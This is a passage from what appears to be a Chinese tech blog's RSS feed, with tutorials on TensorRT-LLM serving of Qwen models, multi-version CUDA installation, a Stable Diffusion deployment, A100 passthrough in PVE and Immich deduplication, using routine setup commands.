&lt;pre&gt;&lt;code&gt;trtllm-serve serve /workspace/models/QwQ-32B-engine --tokenizer /workspace/models/QwQ-32B --host 0.0.0.0 --port 8000 --tp_size 1 --pp_size 1 --max_batch_size 1 --max_seq_len 8192 --max_beam_width 1 --max_num_tokens 4096 --log_level info --num_postprocess_workers 8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实际显存占用约20G&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[TensorRT-LLM][INFO] Memory usage when calculating max tokens in paged kv cache: total: 39.49 GiB, available: 20.44 GiB
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;基准测试&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Tips: 基准测试会先测试原始模型，所以如果像我这种显存&amp;lt;60G的就不用尝试了（&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;准备合成数据集&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python benchmarks/cpp/prepare_dataset.py --stdout --tokenizer Qwen/QwQ-32B token-norm-dist --input-mean 4096 --output-mean 1024 --input-stdev 0 --output-stdev 0 --num-requests 3000 &amp;gt; /tmp/synthetic_128_128.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;运行吞吐量基准测试&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;trtllm-bench --model Qwen/QwQ-32B --model_path /workspace/models/QwQ-32B throughput --dataset /tmp/synthetic_128_128.txt --engine_dir /workspace/models/QwQ-32B-engine
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;关于Qwen3&lt;/h2&gt;
&lt;p&gt;主播尝试了接近两天，也难以在目前版本量化推理Qwen3-14B以上的模型&lt;/p&gt;
&lt;p&gt;下面的方法仅供参考&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;修改源代码&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在此版本，Qwen会因为模型结构与实际的模型权重文件不匹配报错，解决自&lt;a href=&quot;https://github.com/NVIDIA/TensorRT-LLM/pull/5913/files&quot;&gt;PR&lt;/a&gt;，官方尚未回复，后续若合并代码，则不用修改了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;head_dim = getattr(
            hf_config, &quot;head_dim&quot;,
            hf_config.hidden_size // hf_config.num_attention_heads)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1753408629-image-1024x240.webp&quot; alt=&quot;关于Qwen3 - Tensor-LLM 1.0.0rc4 量化推理QwQ-32B int4 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后按照上面的方法量化推理后，正常输出几个tokens后就会输出乱码，搞不定...&lt;/p&gt;
&lt;p&gt;后续尝试了通过 SmoothQuant 量化，也以失败告终...还是等版本稳定了再试试Qwen3吧&lt;/p&gt;
&lt;p&gt;二遍：1.0.0rc5 &lt;a href=&quot;https://github.com/NVIDIA/TensorRT-LLM/pull/6344&quot;&gt;#6344&lt;/a&gt; 已经修复权重计算的问题&lt;/p&gt;
</content:encoded></item><item><title>Ubuntu24.04安装多版本CUDA</title><link>https://nvcc-v.com/2025/07/20/ubuntu-multi-cuda-setup/</link><guid isPermaLink="true">https://nvcc-v.com/2025/07/20/ubuntu-multi-cuda-setup/</guid><description>在 Ubuntu 24.04 中安装多个 CUDA Toolkit 版本，配置环境变量与命令别名以便快速切换和验证。</description><pubDate>Sun, 20 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;进入&lt;a href=&quot;https://developer.nvidia.com/cuda-12-8-0-download-archive?target_os=Linux&amp;amp;target_arch=x86_64&amp;amp;Distribution=Ubuntu&amp;amp;target_version=24.04&amp;amp;target_type=runfile_local&quot;&gt;官方下载页&lt;/a&gt;，确认版本无误后开始下载安装&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1753000067-image-1024x524.webp&quot; alt=&quot;Ubuntu24.04安装多版本CUDA 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按空格取消第一个选项（驱动）的勾选，然后选择Install，下一步会出现yes or no选择no&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1753000135-image.webp&quot; alt=&quot;Ubuntu24.04安装多版本CUDA 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待出现以下代码表示安装成功&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;===========
= Summary =
===========

Driver:   Not Selected
Toolkit:  Installed in /usr/local/cuda-12.8/

Please make sure that
 -   PATH includes /usr/local/cuda-12.8/bin
 -   LD_LIBRARY_PATH includes /usr/local/cuda-12.8/lib64, or, add /usr/local/cuda-12.8/lib64 to /etc/ld.so.conf and run ldconfig as root

To uninstall the CUDA Toolkit, run cuda-uninstaller in /usr/local/cuda-12.8/bin
***WARNING: Incomplete installation! This installation did not install the CUDA Driver. A driver of version at least 570.00 is required for CUDA 12.8 functionality to work.
To install the driver using this installer, run the following command, replacing &amp;lt;CudaInstaller&amp;gt; with the name of this run file:
    sudo &amp;lt;CudaInstaller&amp;gt;.run --silent --driver

Logfile is /var/log/cuda-installer.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们需要配置环境变量以确保两个cuda的共存&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo vim ~/.bashrc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;添加以下内容来设置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alias cuda128=&apos;export PATH=/usr/local/cuda-12.8/bin:$PATH; export LD_LIBRARY_PATH=/usr/local/cuda-12.8/lib64:$LD_LIBRARY_PATH&apos;

alias cuda129=&apos;export PATH=/usr/local/cuda-12.9/bin:$PATH; export LD_LIBRARY_PATH=/usr/local/cuda-12.9/lib64:$LD_LIBRARY_PATH&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改以下内容选择你需要默认的cuda版本，如果要12.8就替换掉下面的12.9&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export PATH=/usr/local/cuda-12.9/bin:$PATH
export LD_LIBRARY_PATH=/usr/local/cuda-12.9/lib64:$LD_LIBRARY_PATH
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;验证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvcc --version
cuda128 #用于切换到CUDA12.8版本
nvcc --version
cuda129 #用于切换到CUDA12.9版本
nvcc --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1753000728-image.webp&quot; alt=&quot;Ubuntu24.04安装多版本CUDA 操作截图 3&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Ubuntu 部署 Stable Diffusion 秋叶整合包</title><link>https://nvcc-v.com/2025/07/20/ubuntu-stable-diffusion-aki/</link><guid isPermaLink="true">https://nvcc-v.com/2025/07/20/ubuntu-stable-diffusion-aki/</guid><description>在 Ubuntu 中安装并运行 Stable Diffusion WebUI 秋叶整合包，涵盖下载、虚拟环境、依赖安装和路径修复。</description><pubDate>Sun, 20 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;提示&lt;/h2&gt;
&lt;p&gt;如果只是想简单运行sd，可以直接运行包内的webui.sh，会自动创建虚拟环境并配置，属于是一键脚本，但是本文主要希望通过cuda12.8+最新的pytorch来运行&lt;/p&gt;
&lt;h2&gt;下载秋叶大佬的整合包&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://bxel2m5tvh.feishu.cn/wiki/UkOuwuc5liaJIbkEIh3cDB6Tnzg&quot;&gt;下载文档&lt;/a&gt; | 解压密码：bilibili-秋葉aaaki，下载cu128的版本&lt;/p&gt;
&lt;p&gt;解压命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt install p7zip-full
7z x sd-webui-aki-v4.11.1-cu128.7z -pbilibili-秋葉aaaki
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;创建并进入虚拟环境&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;conda create -n sd python==3.11
conda activate sd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装cuda12.8的pytorch&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install torch==2.7.1+cu128 torchvision==0.22.1+cu128 --extra-index-url https://download.pytorch.org/whl/cu128
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装requirements&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /home/ros/sd-webui-aki-v4.11.1-cu128 # 进入你自己的路径
pip install -r requirements.txt
pip install -r requirements_versions.txt
pip install clip xformers diffusers
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行sd程序&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python webui.py --server-name=0.0.0.0 --api
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提示有包没安装全，安装就完事了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1753002919-image-1024x535.webp&quot; alt=&quot;创建并进入虚拟环境 - Ubuntu 部署 Stable Diffusion 秋叶整合包 操作截图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;修复路径错误&lt;/h2&gt;
&lt;p&gt;不知道什么地方程序写错了，导致图片会被创建到‘outputs\txt2img-images’这个文件夹，\是Win的目录分隔符，导致网页会读不到创建的图片，所以我们需要创建一个软连接来弥补这个错误&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd ~/sd-webui-aki-v4.11.1-cu128
rm -rf outputs/txt2img-images
rm &apos;outputs\txt2img-images&apos;
mkdir -p outputs/txt2img-images
ln -s ./outputs/txt2img-images &apos;outputs\txt2img-images&apos;
ls -l | grep &apos;outputs\\txt2img-images&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(二编)亦或是在设置这边改就行了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1753007252-image-1024x524.webp&quot; alt=&quot;修复路径错误 - Ubuntu 部署 Stable Diffusion 秋叶整合包 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;大功告成！Enjoy it~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1753005590-image-1024x524.webp&quot; alt=&quot;修复路径错误 - Ubuntu 部署 Stable Diffusion 秋叶整合包 操作截图 2&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>单卡A100通过TensorRT-LLM量化推理Qwen3-8B简单教程</title><link>https://nvcc-v.com/2025/07/19/a100-tensorrt-llm-qwen3-8b/</link><guid isPermaLink="true">https://nvcc-v.com/2025/07/19/a100-tensorrt-llm-qwen3-8b/</guid><description>记录单卡 A100 上使用 TensorRT-LLM 对 Qwen3-8B 进行量化推理，涵盖容器环境、检查点转换、引擎构建和运行验证。</description><pubDate>Sat, 19 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;拉取TensorRT-LLM的docker镜像+LLM镜像&lt;/h2&gt;
&lt;p&gt;需要准备好镜像文件和需要量化推理的模型，本次实验的是&lt;a href=&quot;https://www.modelscope.cn/models/Qwen/Qwen3-8B/files&quot;&gt;Qwen3-8B&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo docker run --rm -it \
    --ipc=host \
    --ulimit memlock=-1 \
    --ulimit stack=67108864 \
    --gpus=all \
    -v /home/ros/tensorrt-llm/models:/workspace/models \
    -p 8000:8000 \
    nvcr.io/nvidia/tensorrt-llm/release:1.0.0rc3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LLM拉取代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install git-lfs
git clone https://www.modelscope.cn/Qwen/Qwen3-8B.git
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安装NVIDIA Container Toolkit&lt;/h2&gt;
&lt;p&gt;由于上面的镜像+模型较大（30G+15G），所以我们现在来安装给docker用的&lt;a href=&quot;https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/latest/install-guide.html&quot;&gt;NVIDIA Container Toolkit&lt;/a&gt;，依次键入以下命令后重启终端即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | sudo gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg \
  &amp;amp;&amp;amp; curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list | \
    sed &apos;s#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g&apos; | \
    sudo tee /etc/apt/sources.list.d/nvidia-container-toolkit.list

sudo apt-get update

export NVIDIA_CONTAINER_TOOLKIT_VERSION=1.17.8-1
  sudo apt-get install -y \
      nvidia-container-toolkit=${NVIDIA_CONTAINER_TOOLKIT_VERSION} \
      nvidia-container-toolkit-base=${NVIDIA_CONTAINER_TOOLKIT_VERSION} \
      libnvidia-container-tools=${NVIDIA_CONTAINER_TOOLKIT_VERSION} \
      libnvidia-container1=${NVIDIA_CONTAINER_TOOLKIT_VERSION}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;TensorRT-LLM基本流程&lt;/h2&gt;
&lt;p&gt;上述内容都拉取安装完毕后，进入到容器的命令行交互界面，执行三个流程&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nvidia.github.io/TensorRT-LLM/architecture/checkpoint.html&quot;&gt;Convert Checkpoint&lt;/a&gt; 将不同框架权重转换为TRT能识别的检查点&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;python /app/tensorrt_llm/examples/models/core/qwen/convert_checkpoint.py \
    --output_dir /workspace/models/Qwen3-8B-checkpoint \
    --model_dir /workspace/models/Qwen3-8B \
    --dtype float16 \
    --tp_size 1 \
    --pp_size 1 \
    --workers 32 \
    --use_parallel_embedding
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;保存 build_config.json 配置文件，后续可以根据需要快速修改&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvidia.github.io/TensorRT-LLM/architecture/checkpoint.html#build-checkpoint-into-tensorrt-engine&quot;&gt;Build TensorRT Engine&lt;/a&gt; 构建 TensorRT 引擎&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;tensor_parallel&quot;: 1,
  &quot;pipeline_parallel&quot;: 1,
  &quot;max_batch_size&quot;: 1,
  &quot;max_input_len&quot;: 8192,
  &quot;max_output_len&quot;: 8192,
  &quot;max_seq_len&quot;: 16384,
  &quot;max_num_tokens&quot;: 8192,
  &quot;max_beam_width&quot;: 1,
  &quot;opt_num_tokens&quot;:8192,
  &quot;gemm_plugin&quot;: &quot;float16&quot;,
  &quot;gpt_attention_plugin&quot;: &quot;float16&quot;,
  &quot;remove_input_padding&quot;: &quot;enable&quot;,
  &quot;context_fmha&quot;: &quot;enable&quot;,
  &quot;log_level&quot;: &quot;info&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;trtllm-build \
    --output_dir /workspace/models/Qwen3-8B-engine \
    --checkpoint_dir /workspace/models/Qwen3-8B-checkpoint \
    --build_config /workspace/models/build_config.json \
    --workers 32 \
    --cluster_key A100-PCIe-40GB
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;推理构建出的TRT引擎&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;python /app/tensorrt_llm/examples/run.py \
    --engine_dir /workspace/models/Qwen3-8B-engine \
    --tokenizer_dir /workspace/models/Qwen3-8B \
    --input_text &quot;Born in north-east France, Soyer trained as a&quot; \
    --max_output_len 128 \
    --log_level info
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;OpenAI协议通用Server&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;trtllm-serve serve /workspace/models/Qwen3-8B-engine --tokenizer /workspace/models/Qwen3-8B --host 0.0.0.0 --port 8000 --tp_size 1 --pp_size 1 --max_batch_size 1 --max_seq_len 2048 --max_beam_width 1 --max_num_tokens 1024 --log_level info --num_postprocess_workers 16
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如何使用 ↓&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from openai import OpenAI

client = OpenAI(
    base_url=&quot;http://localhost:8000/v1&quot;,
    api_key=&quot;tensorrt_llm&quot;,
)

response = client.chat.completions.create(
    model=&quot;TinyLlama-1.1B-Chat-v1.0&quot;,
    messages=[{
        &quot;role&quot;: &quot;system&quot;,
        &quot;content&quot;: &quot;you are a helpful assistant&quot;
    }, {
        &quot;role&quot;: &quot;user&quot;,
        &quot;content&quot;: &quot;Where is New York?&quot;
    }],
    max_tokens=20,
)
print(response)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接入Cherry Studio ↓&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752912933-image-1024x598.webp&quot; alt=&quot;OpenAI协议通用Server - 单卡A100通过TensorRT-LLM量化推理Qwen3-8B简单教程 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;后端似乎还不支持enable_thinking这个Qwen3首发的参数，所以随便填一个其它的模型名就可以了&lt;/p&gt;
</content:encoded></item><item><title>PVE 直通 A100：Ubuntu 驱动与 CUDA 配置</title><link>https://nvcc-v.com/2025/07/19/pve-ubuntu-a100-driver-cuda-tensorrt/</link><guid isPermaLink="true">https://nvcc-v.com/2025/07/19/pve-ubuntu-a100-driver-cuda-tensorrt/</guid><description>在 PVE 中为 Ubuntu 虚拟机直通 A100，安装 NVIDIA 驱动、CUDA Toolkit 与 TensorRT 并验证环境。</description><pubDate>Sat, 19 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;本文所有软件包都是基于当前时间点最新的稳定版本，主打一个追新，产品更新迭代很快，希望这个教程可以帮到正在探索的你&lt;/p&gt;
&lt;h2&gt;PVE&lt;/h2&gt;
&lt;p&gt;PVE初始化后安装PVE Tools，可按照网上教程进行配置硬件直通&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752882938-image.webp&quot; alt=&quot;PVE - PVE 直通 A100：Ubuntu 驱动与 CUDA 配置 操作截图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;创建Ubuntu虚拟机&lt;/h2&gt;
&lt;p&gt;首先下载Ubuntu24.04-desktop的&lt;a href=&quot;https://mirrors.tuna.tsinghua.edu.cn/ubuntu-releases/noble/ubuntu-24.04.2-desktop-amd64.iso&quot;&gt;镜像文件&lt;/a&gt;，然后在PVE添加虚拟机，需要注意以下几个点&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;BIOS：SeaBIOS（必须！！！）&lt;/li&gt;
&lt;li&gt;机型：q35&lt;/li&gt;
&lt;li&gt;处理器类型：host&lt;/li&gt;
&lt;li&gt;硬盘：勾选SSD仿真（应该不会有人给A100配HDD吧）&lt;/li&gt;
&lt;li&gt;PCI 设备（A100）：勾选 所有功能、ROM-Bar、PCI-Express&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;跟着引导走完安装流程，然后记得移除 镜像文件 再重启，进入系统&lt;/p&gt;
&lt;h2&gt;安装NVIDIA Driver&lt;/h2&gt;
&lt;p&gt;前往&lt;a href=&quot;https://www.nvidia.cn/drivers/lookup/&quot;&gt;NVIDIA驱动下载页&lt;/a&gt;选择适合的驱动并下载&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752883430-image.webp&quot; alt=&quot;安装NVIDIA Driver - PVE 直通 A100：Ubuntu 驱动与 CUDA 配置 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入以下命令安装deb包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo su
dpkg -i nvidia-driver-local-repo-ubuntu2404-575.57.08_1.0-1_amd64.deb
cp /var/nvidia-driver-local-repo-ubuntu2404-575.57.08/nvidia-driver-local-4C5D6373-keyring.gpg /usr/share/keyrings/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入以下命令开始安装驱动&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt update
apt install -y nvidia-driver-575 # 数字要与上面下的deb包对应
echo &quot;blacklist nouveau&quot; | sudo tee /etc/modprobe.d/blacklist-nouveau.conf # 禁用 Nouveau 驱动
echo &quot;options nouveau modeset=0&quot; | sudo tee -a /etc/modprobe.d/blacklist-nouveau.conf # 禁用 Nouveau 驱动
update-initramfs -u
reboot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入以下命令验证驱动安装，若回显正确的信息则说明安装完成（失败请检查虚拟机配置）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvidia-smi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752884146-image.webp&quot; alt=&quot;安装NVIDIA Driver - PVE 直通 A100：Ubuntu 驱动与 CUDA 配置 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;安装CUDA Toolkit&lt;/h2&gt;
&lt;p&gt;下载历史版本的请前往&lt;a href=&quot;https://developer.nvidia.com/cuda-toolkit-archive&quot;&gt;归档页&lt;/a&gt;自行寻找适合的包安装，最新版前往&lt;a href=&quot;https://developer.nvidia.com/cuda-downloads&quot;&gt;latest下载页&lt;/a&gt;按下图选择后下载&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752884282-image-1024x925.webp&quot; alt=&quot;安装CUDA Toolkit - PVE 直通 A100：Ubuntu 驱动与 CUDA 配置 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入图中的命令，其中 &lt;strong&gt;Driver Installer&lt;/strong&gt; 的两条命令分别是安装开源、闭源版本的驱动，一般无特殊需求选择下面的闭源版本即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2404/x86_64/cuda-keyring_1.1-1_all.deb
sudo dpkg -i cuda-keyring_1.1-1_all.deb
sudo apt-get update
sudo apt-get -y install cuda-toolkit-12-9
sudo apt-get install -y cuda-drivers
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;验证安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvcc -V
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果安装成功但是nvcc没有回显，可以在~/.bashrc文件尾添加下面的路径，重新进入Terminal再次输入即可成功验证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# CUDA Toolkit paths (managed by update-alternatives)
export PATH=/usr/local/cuda/bin:$PATH
export LD_LIBRARY_PATH=/usr/local/cuda/lib64:$LD_LIBRARY_PATH
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安装&lt;a href=&quot;https://docs.nvidia.com/deeplearning/tensorrt/latest/installing-tensorrt/overview.html&quot;&gt;TensorRT&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;下载最新的&lt;a href=&quot;https://developer.nvidia.com/tensorrt/download/10x&quot;&gt;TensorRT安装包&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752886904-image-1024x524.webp&quot; alt=&quot;安装TensorRT - PVE 直通 A100：Ubuntu 驱动与 CUDA 配置 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入以下命令安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dpkg -i nv-tensorrt-local-repo-ubuntu2404-10.12.0-cuda-12.9_1.0-1_amd64.deb
sudo cp /var/nv-tensorrt-local-repo-ubuntu2404-10.12.0-cuda-12.9/nv-tensorrt-local-A4FCDCCA-keyring.gpg /usr/share/keyrings/
sudo apt update
sudo apt install tensorrt
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;配置Python-TRT环境&lt;/h2&gt;
&lt;p&gt;安装conda&lt;/p&gt;
&lt;p&gt;进入&lt;a href=&quot;https://www.anaconda.com/download/success&quot;&gt;官网&lt;/a&gt;下载安装脚本&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752888372-image-1024x524.webp&quot; alt=&quot;配置Python-TRT环境 - PVE 直通 A100：Ubuntu 驱动与 CUDA 配置 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;运行脚本并安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chmod +x Anaconda3-2025.06-0-Linux-x86_64.sh
./Anaconda3-2025.06-0-Linux-x86_64.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前三项默认回车即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752888721-image.webp&quot; alt=&quot;配置Python-TRT环境 - PVE 直通 A100：Ubuntu 驱动与 CUDA 配置 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后询问是否初始化填yes&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752888799-image.webp&quot; alt=&quot;配置Python-TRT环境 - PVE 直通 A100：Ubuntu 驱动与 CUDA 配置 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;重新打开一个Terminal，发现conda已经初始化完成&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752888971-image.webp&quot; alt=&quot;配置Python-TRT环境 - PVE 直通 A100：Ubuntu 驱动与 CUDA 配置 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你不想进入Terminal自动进入base环境，请输入以下命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;conda config --set auto_activate_base false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在我们来创建一个名为tensor_rt的虚拟环境，首先先查看自己的Python版本，我们需要创建相同的Python环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 --version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752889200-image.webp&quot; alt=&quot;配置Python-TRT环境 - PVE 直通 A100：Ubuntu 驱动与 CUDA 配置 操作截图 5&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;conda create -n tensor_rt python=3.12.3
conda activate tensor_rt # 进入名为tensor_rt的虚拟环境
python3 -m pip install --upgrade pip # 更新pip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;复制系统环境中的trt包到虚拟环境中，首先在虚拟环境中输入以下命令确认虚拟环境包路径&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -c &quot;from distutils.sysconfig import get_python_lib; print(get_python_lib())&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752891998-image.webp&quot; alt=&quot;配置Python-TRT环境 - PVE 直通 A100：Ubuntu 驱动与 CUDA 配置 操作截图 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确认系统环境的trt包目录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ls /usr/lib/python3.12/dist-packages
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752892074-image.webp&quot; alt=&quot;配置Python-TRT环境 - PVE 直通 A100：Ubuntu 驱动与 CUDA 配置 操作截图 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;开始复制&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cp -r /usr/lib/python3.12/dist-packages/tensorrt* /home/ros/anaconda3/envs/tensor_rt/lib/python3.12/site-packages
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在conda中验证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -c &quot;import tensorrt as trt; print(trt.__version__)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/07/1752892330-image.webp&quot; alt=&quot;配置Python-TRT环境 - PVE 直通 A100：Ubuntu 驱动与 CUDA 配置 操作截图 8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;大功告成~&lt;/p&gt;
</content:encoded></item><item><title>UNRAID 使用 CUDA 加速 Immich 相似照片去重</title><link>https://nvcc-v.com/2025/07/15/unraid-cuda-immich-deduplication/</link><guid isPermaLink="true">https://nvcc-v.com/2025/07/15/unraid-cuda-immich-deduplication/</guid><description>在 UNRAID 上部署 Immich-Mediakit，调用 CUDA 加速相似照片向量分析与去重。</description><pubDate>Tue, 15 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;/2025/07/11/unraid-immich-cuda-setup/&quot;&gt;上一篇文章&lt;/a&gt;介绍了如何在UNRAID下编排部署带GPU加速的Immich容器，这次介绍如何用&lt;a href=&quot;https://github.com/RazgrizHsu/immich-mediakit&quot;&gt;immich-mediakit&lt;/a&gt;这个项目来实现带GPU加速的相似照片去重&lt;/p&gt;
&lt;h2&gt;修改Immich容器compose文件&lt;/h2&gt;
&lt;p&gt;主要修改database的port，我们需要将数据库的端口开放出来以便去重服务可以访问&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;name: immich

services:
  immich-server:
    container_name: immich_server
    image: ghcr.io/immich-app/immich-server:release
    # extends:
    #   file: hwaccel.transcoding.yml
    #   service: cpu # set to one of [nvenc, quicksync, rkmpp, vaapi, vaapi-wsl] for accelerated transcoding
    volumes:
